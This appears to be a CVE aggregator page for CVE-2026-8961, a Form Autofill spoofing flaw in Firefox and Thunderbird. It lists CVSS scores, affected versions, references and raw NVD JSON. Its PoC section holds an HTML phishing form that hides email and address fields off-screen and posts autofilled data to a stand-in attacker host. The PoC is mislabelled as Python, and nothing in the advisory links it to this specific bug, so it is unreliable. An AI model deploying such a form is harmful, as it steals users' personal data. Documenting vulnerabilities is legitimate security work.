CVE-2026-8961

Description

Spoofing issue in the Form Autofill component. This vulnerability was fixed in Firefox 151, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:* - VULNERABLE

Firefox < 151

Firefox ESR < 140.11

Thunderbird < 151

Thunderbird < 140.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for Form Autofill Spoofing -->
<html>
<head>
    <title>Autofill Test</title>
</head>
<body>
    <h3>Free Gift Card</h3>
    <form action="http://attacker-server.com/collect" method="POST">
        <!-- Visible field to trigger interaction -->
        <input type="text" placeholder="Enter Name" autocomplete="name">
        
        <!-- Hidden fields to steal autofill data -->
        <input type="text" name="email" style="opacity:0; position:absolute; top:-1000px;" autocomplete="email">
        <input type="text" name="address" style="opacity:0; position:absolute; top:-1000px;" autocomplete="street-address">
        
        <button type="submit">Claim</button>
    </form>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8961
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8961
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8961/
[4] VulDB https://vuldb.com/cve/CVE-2026-8961
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=1962625
[6] https://www.mozilla.org/security/advisories/mfsa2026-46/
[7] https://www.mozilla.org/security/advisories/mfsa2026-48/
[8] https://www.mozilla.org/security/advisories/mfsa2026-50/
[9] https://www.mozilla.org/security/advisories/mfsa2026-51/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8961", "sourceIdentifier": "[email protected]", "published": "2026-05-19T14:16:52.490", "lastModified": "2026-05-20T17:58:44.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spoofing issue in the Form Autofill component. This vulnerability was fixed in Firefox 151, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.11.0", "matchCriteriaId": "51216802-B743-4D96-9262-A4B0ECB71A0E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "151.0.0", "matchCriteriaId": "7C197B6D-C48E-4D7E-A1C0-52E081E97DF0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.11", "matchCriteriaId": "35057096-2597-4FB5-AACB-E68FBE0A11A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "151.0.0", "matchCriteriaId": "F6DF6D4E-CB51-4F9E-89A0-6097B9DBDB5C"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1962625", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-46/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-48/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-50/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-51/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}